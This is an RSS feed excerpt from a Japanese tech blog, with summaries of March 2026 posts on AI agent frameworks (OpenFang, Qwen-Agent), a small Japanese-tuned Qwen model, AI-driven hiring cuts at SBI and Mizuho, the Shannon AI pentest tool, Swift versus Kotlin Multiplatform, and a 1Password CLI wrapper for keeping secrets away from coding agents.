&lt;p&gt;LangChain や CrewAI のような既存のエージェントフレームワークは、基本的に&lt;strong&gt;ユーザーのプロンプトを起点&lt;/strong&gt;に動作します。ユーザーが指示を出し、エージェントが実行し、結果を返す。この対話ループが基本構造です。&lt;/p&gt;
&lt;p&gt;OpenFang が「OS」と名乗る理由は、&lt;strong&gt;プロンプトなしで自律的に動作する&lt;/strong&gt;設計にあります。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;既存フレームワーク:
ユーザー → プロンプト → エージェント → 結果 → ユーザー
（対話ループ）
OpenFang:
スケジュール → エージェント → タスク実行 → 知識グラフ更新
↓
ダッシュボードに報告
（自律ループ、ユーザーの介入は承認ゲートのみ）
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;24 時間 365 日、バックグラウンドでエージェントが動き続ける。リード獲得、競合監視、SNS 投稿、コンテンツ生成を自動で行い、ユーザーはダッシュボードで結果を確認する。これが OpenFang の設計思想です。&lt;/p&gt;</description></item><item><title>Qwen-Agent 公式エージェントフレームワーク完全ガイド — モデル開発チームが作った「全部入り」の設計思想</title><link>https://hdknr.github.io/blogs/posts/2026/03/qwen-agent-%E5%85%AC%E5%BC%8F%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%83%95%E3%83%AC%E3%83%BC%E3%83%A0%E3%83%AF%E3%83%BC%E3%82%AF%E5%AE%8C%E5%85%A8%E3%82%AC%E3%82%A4%E3%83%89-%E3%83%A2%E3%83%87%E3%83%AB%E9%96%8B%E7%99%BA%E3%83%81%E3%83%BC%E3%83%A0%E3%81%8C%E4%BD%9C%E3%81%A3%E3%81%9F%E5%85%A8%E9%83%A8%E5%85%A5%E3%82%8A%E3%81%AE%E8%A8%AD%E8%A8%88%E6%80%9D%E6%83%B3/</link><pubDate>Thu, 05 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/qwen-agent-%E5%85%AC%E5%BC%8F%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%83%95%E3%83%AC%E3%83%BC%E3%83%A0%E3%83%AF%E3%83%BC%E3%82%AF%E5%AE%8C%E5%85%A8%E3%82%AC%E3%82%A4%E3%83%89-%E3%83%A2%E3%83%87%E3%83%AB%E9%96%8B%E7%99%BA%E3%83%81%E3%83%BC%E3%83%A0%E3%81%8C%E4%BD%9C%E3%81%A3%E3%81%9F%E5%85%A8%E9%83%A8%E5%85%A5%E3%82%8A%E3%81%AE%E8%A8%AD%E8%A8%88%E6%80%9D%E6%83%B3/</guid><description>&lt;h1 id="qwen-agent-公式エージェントフレームワーク完全ガイド--モデル開発チームが作った全部入りの設計思想"&gt;Qwen-Agent 公式エージェントフレームワーク完全ガイド — モデル開発チームが作った「全部入り」の設計思想&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/abxxai/status/2029560600070881577"&gt;@abxxai（Abdul Shakoor）のポスト&lt;/a&gt;が、Qwen チームが公式リリースしたエージェントフレームワーク「Qwen-Agent」を紹介し、10万ビュー超・2,900ブックマーク・2,200いいねと極めて高い反響を集めています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;BREAKING: The Qwen team just shipped their official agent framework and it has everything.
No stitching together third-party libraries. No fighting abstractions.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;「サードパーティのライブラリをつなぎ合わせる必要がない」「抽象化と戦わなくていい」という評価は、既存のエージェントフレームワーク（LangChain、CrewAI 等）が抱える複雑さへのアンチテーゼです。&lt;/p&gt;
&lt;h2 id="qwen-agent-とは何か"&gt;Qwen-Agent とは何か&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://github.com/QwenLM/Qwen-Agent"&gt;Qwen-Agent&lt;/a&gt; は、Alibaba Cloud の Qwen チームが開発したオープンソースのエージェントフレームワークです。Qwen 3.0 以上のモデルをベースに、Function Calling・MCP・Code Interpreter・RAG・Chrome 拡張を統合した「全部入り」のフレームワークとして設計されています。&lt;/p&gt;
&lt;h3 id="最大の特徴-モデルとフレームワークの共進化"&gt;最大の特徴: モデルとフレームワークの共進化&lt;/h3&gt;
&lt;p&gt;LangChain や CrewAI がモデルに依存しない汎用フレームワークであるのに対し、Qwen-Agent は &lt;strong&gt;Qwen モデルと一体的に開発&lt;/strong&gt;されています。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;観点&lt;/th&gt;
&lt;th&gt;Qwen-Agent&lt;/th&gt;
&lt;th&gt;LangChain / CrewAI&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;開発元&lt;/td&gt;
&lt;td&gt;Qwen モデル開発チーム&lt;/td&gt;
&lt;td&gt;サードパーティ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;モデルとの関係&lt;/td&gt;
&lt;td&gt;共進化（同時に開発・最適化）&lt;/td&gt;
&lt;td&gt;モデル非依存&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ツール呼び出し&lt;/td&gt;
&lt;td&gt;ネイティブ統合（テンプレート・パーサー内蔵）&lt;/td&gt;
&lt;td&gt;アダプタ経由&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;抽象化の層&lt;/td&gt;
&lt;td&gt;薄い（モデルに直接最適化）&lt;/td&gt;
&lt;td&gt;厚い（汎用性のための間接層）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;対応モデル&lt;/td&gt;
&lt;td&gt;Qwen 系が最適、他モデルも利用可&lt;/td&gt;
&lt;td&gt;幅広いモデルに対応&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Qwen チームは「モデルの開発当初から、ツール使用と深い推論を含む強力なエージェント能力の実現が戦略の柱だった」と述べています。フレームワークはモデルの能力を最大限に引き出すために設計されており、汎用フレームワークでは到達できない最適化が実現されています。&lt;/p&gt;</description></item><item><title>Qwen3.5-0.8B を日本語SFTしたモデル公開 — スマホで動く0.8Bパラメータの実力と小規模LLMの現在地</title><link>https://hdknr.github.io/blogs/posts/2026/03/qwen3.5-0.8b-%E3%82%92%E6%97%A5%E6%9C%AC%E8%AA%9Esft%E3%81%97%E3%81%9F%E3%83%A2%E3%83%87%E3%83%AB%E5%85%AC%E9%96%8B-%E3%82%B9%E3%83%9E%E3%83%9B%E3%81%A7%E5%8B%95%E3%81%8F0.8b%E3%83%91%E3%83%A9%E3%83%A1%E3%83%BC%E3%82%BF%E3%81%AE%E5%AE%9F%E5%8A%9B%E3%81%A8%E5%B0%8F%E8%A6%8F%E6%A8%A1llm%E3%81%AE%E7%8F%BE%E5%9C%A8%E5%9C%B0/</link><pubDate>Thu, 05 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/qwen3.5-0.8b-%E3%82%92%E6%97%A5%E6%9C%AC%E8%AA%9Esft%E3%81%97%E3%81%9F%E3%83%A2%E3%83%87%E3%83%AB%E5%85%AC%E9%96%8B-%E3%82%B9%E3%83%9E%E3%83%9B%E3%81%A7%E5%8B%95%E3%81%8F0.8b%E3%83%91%E3%83%A9%E3%83%A1%E3%83%BC%E3%82%BF%E3%81%AE%E5%AE%9F%E5%8A%9B%E3%81%A8%E5%B0%8F%E8%A6%8F%E6%A8%A1llm%E3%81%AE%E7%8F%BE%E5%9C%A8%E5%9C%B0/</guid><description>&lt;h1 id="qwen35-08b-を日本語sftしたモデル公開--スマホで動く08bパラメータの実力と小規模llmの現在地"&gt;Qwen3.5-0.8B を日本語SFTしたモデル公開 — スマホで動く0.8Bパラメータの実力と小規模LLMの現在地&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/holy_fox_llm/status/2029086551481938237"&gt;@Holy_fox_LLM 氏（ほーりーふぉっくす）のポスト&lt;/a&gt;が、Qwen3.5-0.8B を約10万件の日本語データでフルパラメータ SFT したモデルを &lt;a href="https://huggingface.co/Holy-fox/Qwen3.5-0.8B-JP"&gt;Hugging Face で公開&lt;/a&gt;しています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Qwen3.5 0.8Bに対して約10万件超のデータを用いてフルパラでSFTしたモデルを公開しました！スマホなどの推論に最適なモデルとなっています&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;ポストは440いいね、69リツイートと高い反響を集めています。Qwen3.5 Small シリーズが2026年3月2日にリリースされた直後のタイミングで、日本語コミュニティの素早い対応として注目されています。&lt;/p&gt;
&lt;h2 id="qwen35-small-シリーズ--08b-でもマルチモーダル"&gt;Qwen3.5 Small シリーズ — 0.8B でもマルチモーダル&lt;/h2&gt;
&lt;h3 id="リリースの概要"&gt;リリースの概要&lt;/h3&gt;
&lt;p&gt;2026年3月2日、Alibaba の Qwen チームが &lt;a href="https://stable-learn.com/en/qwen35-native-multimodal-agent-model/"&gt;Qwen3.5 Small シリーズ&lt;/a&gt;を Apache 2.0 ライセンスで公開しました。0.8B、2B、4B、9B の4サイズで構成されています。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;モデル&lt;/th&gt;
&lt;th&gt;パラメータ&lt;/th&gt;
&lt;th&gt;VRAM（FP16）&lt;/th&gt;
&lt;th&gt;主な用途&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Qwen3.5-0.8B&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;8億&lt;/td&gt;
&lt;td&gt;約1.6GB&lt;/td&gt;
&lt;td&gt;スマホ、IoT、エッジデバイス&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Qwen3.5-2B&lt;/td&gt;
&lt;td&gt;20億&lt;/td&gt;
&lt;td&gt;約4GB&lt;/td&gt;
&lt;td&gt;軽量サーバー、タブレット&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Qwen3.5-4B&lt;/td&gt;
&lt;td&gt;40億&lt;/td&gt;
&lt;td&gt;約8GB&lt;/td&gt;
&lt;td&gt;ローカル PC&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Qwen3.5-9B&lt;/td&gt;
&lt;td&gt;90億&lt;/td&gt;
&lt;td&gt;約18GB&lt;/td&gt;
&lt;td&gt;デスクトップ、サーバー&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;注目すべきは、9B モデルが OpenAI の gpt-oss-120B（13.5倍のサイズ）を GPQA Diamond ベンチマークで上回ったことです（81.7 vs 71.5）。&lt;/p&gt;
&lt;h3 id="gated-deltanet-アーキテクチャ"&gt;Gated DeltaNet アーキテクチャ&lt;/h3&gt;
&lt;p&gt;Qwen3.5 Small シリーズの技術的な特徴は、&lt;strong&gt;Gated DeltaNet ハイブリッドアーキテクチャ&lt;/strong&gt;です。&lt;/p&gt;</description></item><item><title>SBI北尾「新卒採用を大幅に減らすのは絶対命令」— AI による採用構造変化は景気回復しても戻らない</title><link>https://hdknr.github.io/blogs/posts/2026/03/sbi%E5%8C%97%E5%B0%BE%E6%96%B0%E5%8D%92%E6%8E%A1%E7%94%A8%E3%82%92%E5%A4%A7%E5%B9%85%E3%81%AB%E6%B8%9B%E3%82%89%E3%81%99%E3%81%AE%E3%81%AF%E7%B5%B6%E5%AF%BE%E5%91%BD%E4%BB%A4-ai-%E3%81%AB%E3%82%88%E3%82%8B%E6%8E%A1%E7%94%A8%E6%A7%8B%E9%80%A0%E5%A4%89%E5%8C%96%E3%81%AF%E6%99%AF%E6%B0%97%E5%9B%9E%E5%BE%A9%E3%81%97%E3%81%A6%E3%82%82%E6%88%BB%E3%82%89%E3%81%AA%E3%81%84/</link><pubDate>Thu, 05 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/sbi%E5%8C%97%E5%B0%BE%E6%96%B0%E5%8D%92%E6%8E%A1%E7%94%A8%E3%82%92%E5%A4%A7%E5%B9%85%E3%81%AB%E6%B8%9B%E3%82%89%E3%81%99%E3%81%AE%E3%81%AF%E7%B5%B6%E5%AF%BE%E5%91%BD%E4%BB%A4-ai-%E3%81%AB%E3%82%88%E3%82%8B%E6%8E%A1%E7%94%A8%E6%A7%8B%E9%80%A0%E5%A4%89%E5%8C%96%E3%81%AF%E6%99%AF%E6%B0%97%E5%9B%9E%E5%BE%A9%E3%81%97%E3%81%A6%E3%82%82%E6%88%BB%E3%82%89%E3%81%AA%E3%81%84/</guid><description>&lt;h1 id="sbi北尾新卒採用を大幅に減らすのは絶対命令-ai-による採用構造変化は景気回復しても戻らない"&gt;SBI北尾「新卒採用を大幅に減らすのは絶対命令」— AI による採用構造変化は景気回復しても戻らない&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/keyplayers/status/2029004227289465119"&gt;@keyplayers 氏（高野秀敏）のポスト&lt;/a&gt;が、SBI 北尾吉孝会長の新卒採用削減宣言と、みずほ FG の事務職5,000人削減を取り上げ、AI による雇用構造の不可逆な変化について論じています。47万ビュー・1,900いいね・560ブックマークと極めて高い反響を集めています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;SBI北尾さんが「新卒採用を大幅に減らすのは絶対命令」と明言した。みずほも事務職5000人分を削減する。これが現実です。&lt;/p&gt;
&lt;p&gt;私は4000人以上の経営者と会ってきたけど、今回の流れは過去のリストラとは本質が違う。「不景気だから減らす」じゃない。「もうAIでできるから人がいらない」という構造変化。景気が回復しても、この採用枠は戻ってこない。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;4,000人以上の経営者と接してきた高野氏が「過去のリストラとは本質が違う」と断言する理由は明快です。不景気による一時的なコスト削減ではなく、AI による業務代替という&lt;strong&gt;構造的な変化&lt;/strong&gt;だからです。&lt;/p&gt;
&lt;h2 id="何が起きたのか--2つの具体的な動き"&gt;何が起きたのか — 2つの具体的な動き&lt;/h2&gt;
&lt;h3 id="sbi-よほど優秀でなければ採るな"&gt;SBI: 「よほど優秀でなければ採るな」&lt;/h3&gt;
&lt;p&gt;2026年3月3日、SBI ホールディングスの北尾吉孝会長は東京でのイベントで以下の発言をしました。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;新卒採用を含めて、新しい採用を大幅に減らすのは絶対命令
よほど優秀でなければ採るな&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;北尾氏は生成 AI の登場を「革命」と呼び、こう続けています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;今世紀最大の社会変革がこれから5年の間に起こる。ついていけなければ、脱皮できない蛇と一緒で終わりになる&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;さらに、金融業務を「完全に AI エージェント化」する方針も表明しています。顧客対応を含む金融 AI エージェントの開発に着手しており、人間の業務を AI に置き換える流れは採用だけでなく、既存業務にも及びます。&lt;/p&gt;
&lt;h3 id="みずほ-fg-事務職15000人のうち5000人を削減"&gt;みずほ FG: 事務職15,000人のうち5,000人を削減&lt;/h3&gt;
&lt;p&gt;2026年2月、みずほ FG は&lt;a href="https://www.nikkei.com/article/DGXZQOUB26C000W6A220C2000000/"&gt;今後10年で事務職を最大5,000人削減する計画&lt;/a&gt;を発表しました。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;項目&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;現在の事務職員数&lt;/td&gt;
&lt;td&gt;約15,000人&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;削減目標&lt;/td&gt;
&lt;td&gt;最大5,000人（3分の1）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;期間&lt;/td&gt;
&lt;td&gt;10年&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;方法&lt;/td&gt;
&lt;td&gt;配置転換 + 採用抑制 + 自然減（解雇ではない）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AI 投資額&lt;/td&gt;
&lt;td&gt;3年間で最大1,000億円&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;転換先&lt;/td&gt;
&lt;td&gt;個人向け営業、グループ業務支援&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;注目すべきは「解雇ではなく配置転換」としている点です。日本の雇用慣行では即座の解雇は難しいため、採用抑制と自然減を組み合わせた「緩やかな縮小」が取られます。しかし、これは&lt;strong&gt;新卒の採用枠が10年間にわたって縮小し続ける&lt;/strong&gt;ことを意味します。&lt;/p&gt;
&lt;h2 id="なぜ景気が回復しても戻らないのか"&gt;なぜ「景気が回復しても戻らない」のか&lt;/h2&gt;
&lt;p&gt;高野氏の指摘で最も重要なのは「景気が回復しても、この採用枠は戻ってこない」という点です。&lt;/p&gt;
&lt;h3 id="過去のリストラ-vs-ai-リストラ"&gt;過去のリストラ vs AI リストラ&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;過去のリストラ（2008年〜）&lt;/th&gt;
&lt;th&gt;AI リストラ（2026年〜）&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;原因&lt;/td&gt;
&lt;td&gt;不景気・業績悪化&lt;/td&gt;
&lt;td&gt;技術による業務代替&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;性質&lt;/td&gt;
&lt;td&gt;景気循環（一時的）&lt;/td&gt;
&lt;td&gt;構造変化（不可逆）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;景気回復時&lt;/td&gt;
&lt;td&gt;採用枠が復活&lt;/td&gt;
&lt;td&gt;採用枠は戻らない&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;対象&lt;/td&gt;
&lt;td&gt;全社的なコスト削減&lt;/td&gt;
&lt;td&gt;特定業務の消滅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;代替先&lt;/td&gt;
&lt;td&gt;外注・派遣&lt;/td&gt;
&lt;td&gt;AI エージェント&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="構造変化の不可逆性"&gt;構造変化の不可逆性&lt;/h3&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;従来の景気循環:
好景気 → 大量採用 → 不景気 → リストラ → 好景気 → 大量採用 ...
（サイクルが繰り返される）
AI による構造変化:
AI 導入 → 業務自動化 → 採用削減 → 好景気 → AI がさらに改善 → さらに削減
（戻る力が働かない）
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;AI エージェントが事務業務を処理できるようになると、景気が回復しても「また人を雇って同じ仕事をさせよう」とはなりません。AI の方が速く、安く、ミスが少ないからです。&lt;/p&gt;</description></item><item><title>Shannon — 自律型AIペネトレーションテスターが「実証なき報告」を終わらせる</title><link>https://hdknr.github.io/blogs/posts/2026/03/shannon-%E8%87%AA%E5%BE%8B%E5%9E%8Bai%E3%83%9A%E3%83%8D%E3%83%88%E3%83%AC%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3%E3%83%86%E3%82%B9%E3%82%BF%E3%83%BC%E3%81%8C%E5%AE%9F%E8%A8%BC%E3%81%AA%E3%81%8D%E5%A0%B1%E5%91%8A%E3%82%92%E7%B5%82%E3%82%8F%E3%82%89%E3%81%9B%E3%82%8B/</link><pubDate>Thu, 05 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/shannon-%E8%87%AA%E5%BE%8B%E5%9E%8Bai%E3%83%9A%E3%83%8D%E3%83%88%E3%83%AC%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3%E3%83%86%E3%82%B9%E3%82%BF%E3%83%BC%E3%81%8C%E5%AE%9F%E8%A8%BC%E3%81%AA%E3%81%8D%E5%A0%B1%E5%91%8A%E3%82%92%E7%B5%82%E3%82%8F%E3%82%89%E3%81%9B%E3%82%8B/</guid><description>&lt;h1 id="shannon--自律型-ai-ペネトレーションテスターが実証なき報告を終わらせる"&gt;Shannon — 自律型 AI ペネトレーションテスターが「実証なき報告」を終わらせる&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/heynavtoor/status/2028719589241307635"&gt;@heynavtoor 氏のポスト&lt;/a&gt;が話題になっています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Someone just open sourced a fully autonomous AI hacker and it&amp;rsquo;s terrifying. It&amp;rsquo;s called Shannon. Point it at your web app, and it doesn&amp;rsquo;t just scan for vulnerabilities. It actually exploits them.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Shannon は「No Exploit, No Report（実証できなければ報告しない）」を原則とする、完全自律型の AI ペネトレーションテストツールです。従来のスキャナーが「ここが危険かもしれません」と警告を出す場面で、Shannon は実際に攻撃を実行し、成功した場合だけ報告します。XBOW ベンチマークで 96.15% のスコアを記録し、GitHub で 10,000 以上のスターを獲得しています。&lt;/p&gt;
&lt;h2 id="なぜ-shannon-が注目されるのか--年-1-回ペンテストの限界"&gt;なぜ Shannon が注目されるのか — 年 1 回ペンテストの限界&lt;/h2&gt;
&lt;p&gt;現代の開発チームは Claude Code や Cursor を使い、毎日コードを出荷しています。一方、ペネトレーションテストは年 1 回が一般的です。365 日のうち 364 日は「検証なし」で本番にデプロイしている計算になります。&lt;/p&gt;</description></item><item><title>Swift for Android vs Kotlin Multiplatform — マルチプラットフォーム時代の「Xbox vs PlayStation」</title><link>https://hdknr.github.io/blogs/posts/2026/03/swift-for-android-vs-kotlin-multiplatform-%E3%83%9E%E3%83%AB%E3%83%81%E3%83%97%E3%83%A9%E3%83%83%E3%83%88%E3%83%95%E3%82%A9%E3%83%BC%E3%83%A0%E6%99%82%E4%BB%A3%E3%81%AExbox-vs-playstation/</link><pubDate>Thu, 05 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/swift-for-android-vs-kotlin-multiplatform-%E3%83%9E%E3%83%AB%E3%83%81%E3%83%97%E3%83%A9%E3%83%83%E3%83%88%E3%83%95%E3%82%A9%E3%83%BC%E3%83%A0%E6%99%82%E4%BB%A3%E3%81%AExbox-vs-playstation/</guid><description>&lt;h1 id="swift-for-android-vs-kotlin-multiplatform--マルチプラットフォーム時代のxbox-vs-playstation"&gt;Swift for Android vs Kotlin Multiplatform — マルチプラットフォーム時代の「Xbox vs PlayStation」&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://levelup.gitconnected.com/swift-for-android-vs-kotlin-multiplatform-18e94063d524"&gt;Level Up Coding の記事&lt;/a&gt;（Jacob Bartlett 氏）が注目を集めています。同じローラーコースターアプリを Swift for Android と Kotlin Multiplatform（KMP）の両方で構築し、開発体験を徹底比較した実践レポートです。&lt;/p&gt;
&lt;p&gt;著者はこの 2 つの技術を「Xbox vs PlayStation」に例えています。どちらも「ビジネスロジックを共有し、UI はネイティブで書く」という同じアーキテクチャ思想を持ちながら、アプローチが正反対です。iOS 開発者が Android に進出するか、Android 開発者が iOS に進出するか — その出発点の違いが設計全体に反映されています。&lt;/p&gt;
&lt;h2 id="2-つのアプローチ--同じ目的逆の方向"&gt;2 つのアプローチ — 同じ目的、逆の方向&lt;/h2&gt;
&lt;p&gt;両技術の根本的な違いは「どちらのプラットフォームを起点にするか」です。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Swift for Android:
iOS (SwiftUI) ← Swift コア → Android (Jetpack Compose)
&amp;#34;iOS ファーストの開発者が Android に展開&amp;#34;
Kotlin Multiplatform:
Android (Jetpack Compose) ← Kotlin コア → iOS (SwiftUI)
&amp;#34;Android ファーストの開発者が iOS に展開&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;項目&lt;/th&gt;
&lt;th&gt;Swift for Android&lt;/th&gt;
&lt;th&gt;Kotlin Multiplatform&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;共有言語&lt;/td&gt;
&lt;td&gt;Swift&lt;/td&gt;
&lt;td&gt;Kotlin&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;コンパイル方式&lt;/td&gt;
&lt;td&gt;Swift → ネイティブ .so（JNI 経由）&lt;/td&gt;
&lt;td&gt;Kotlin → ネイティブバイナリ（Obj-C ヘッダ生成）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Android 側 UI&lt;/td&gt;
&lt;td&gt;Jetpack Compose&lt;/td&gt;
&lt;td&gt;Jetpack Compose&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;iOS 側 UI&lt;/td&gt;
&lt;td&gt;SwiftUI&lt;/td&gt;
&lt;td&gt;SwiftUI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;境界技術&lt;/td&gt;
&lt;td&gt;JNI + swift-java 自動バインディング&lt;/td&gt;
&lt;td&gt;Kotlin/Native + Obj-C 互換&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;開発開始年&lt;/td&gt;
&lt;td&gt;2025 年（プレビュー）&lt;/td&gt;
&lt;td&gt;2017 年&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="swift-for-android-の仕組み--swift-java-と-jni"&gt;Swift for Android の仕組み — swift-java と JNI&lt;/h2&gt;
&lt;p&gt;Swift for Android は 2025 年 10 月に公式プレビューとしてリリースされました。Swift Android Workgroup が Swift.org の公式ワークグループとして設立され、Android を Swift の正式サポートプラットフォームにする取り組みが進行中です。&lt;/p&gt;</description></item><item><title>.env を AI に安心して触らせる — 1Password CLI ラッパー「opx」とプロセススコープ認証の設計</title><link>https://hdknr.github.io/blogs/posts/2026/03/.env-%E3%82%92-ai-%E3%81%AB%E5%AE%89%E5%BF%83%E3%81%97%E3%81%A6%E8%A7%A6%E3%82%89%E3%81%9B%E3%82%8B-1password-cli-%E3%83%A9%E3%83%83%E3%83%91%E3%83%BCopx%E3%81%A8%E3%83%97%E3%83%AD%E3%82%BB%E3%82%B9%E3%82%B9%E3%82%B3%E3%83%BC%E3%83%97%E8%AA%8D%E8%A8%BC%E3%81%AE%E8%A8%AD%E8%A8%88/</link><pubDate>Wed, 04 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/.env-%E3%82%92-ai-%E3%81%AB%E5%AE%89%E5%BF%83%E3%81%97%E3%81%A6%E8%A7%A6%E3%82%89%E3%81%9B%E3%82%8B-1password-cli-%E3%83%A9%E3%83%83%E3%83%91%E3%83%BCopx%E3%81%A8%E3%83%97%E3%83%AD%E3%82%BB%E3%82%B9%E3%82%B9%E3%82%B3%E3%83%BC%E3%83%97%E8%AA%8D%E8%A8%BC%E3%81%AE%E8%A8%AD%E8%A8%88/</guid><description>&lt;h1 id="env-を-ai-に安心して触らせる--1password-cli-ラッパーopxとプロセススコープ認証の設計"&gt;.env を AI に安心して触らせる — 1Password CLI ラッパー「opx」とプロセススコープ認証の設計&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/suin/status/2025525553823191550"&gt;@suin 氏のポスト&lt;/a&gt;が、AI エージェント時代の .env 管理問題に対する実践的な解決策として、自作の 1Password CLI ラッパー「&lt;a href="https://github.com/suin/opx"&gt;opx&lt;/a&gt;」を公開しています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;.envをAIに安心して触らせたくて、こんなの作った
AIエージェントなしではもう開発が成り立たないほど必須になってきています。権限設定がいろいろできるにせよ、本質的にAIエージェントにはプロジェクトの全ファイルを触りうる力を与えているわけで、気になるのがシークレットなどの機密情報です。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Claude Code や Cursor などの AI コーディングエージェントは、開発者と同じ権限でファイルシステムにアクセスします。&lt;code&gt;.env&lt;/code&gt; にアクセストークンや AWS キーを平文で書いていれば、エージェントはそれを読めてしまいます。この構造的な問題に対し、「.env に機密情報を一切書かない」というアプローチで解決するのが opx です。&lt;/p&gt;
&lt;h2 id="問題の構造--ai-エージェントが-env-を読める"&gt;問題の構造 — AI エージェントが .env を読める&lt;/h2&gt;
&lt;h3 id="なぜ危険なのか"&gt;なぜ危険なのか&lt;/h3&gt;
&lt;p&gt;AI コーディングエージェントは通常のプロセスとして動作し、シェル環境を継承します。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;開発者のシェル
└── AI エージェント（Claude Code, Cursor 等）
├── ファイルシステムへのフルアクセス
├── .env ファイルの読み取り
├── 環境変数の参照
└── Bash コマンドの実行
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;.zshrc&lt;/code&gt; に &lt;code&gt;AWS_SECRET_ACCESS_KEY&lt;/code&gt; を書いていれば、エージェントもそれを持っています。プロンプトインジェクション攻撃を受けた場合、エージェントが意図せず機密情報を外部に送信するリスクがあります。&lt;/p&gt;
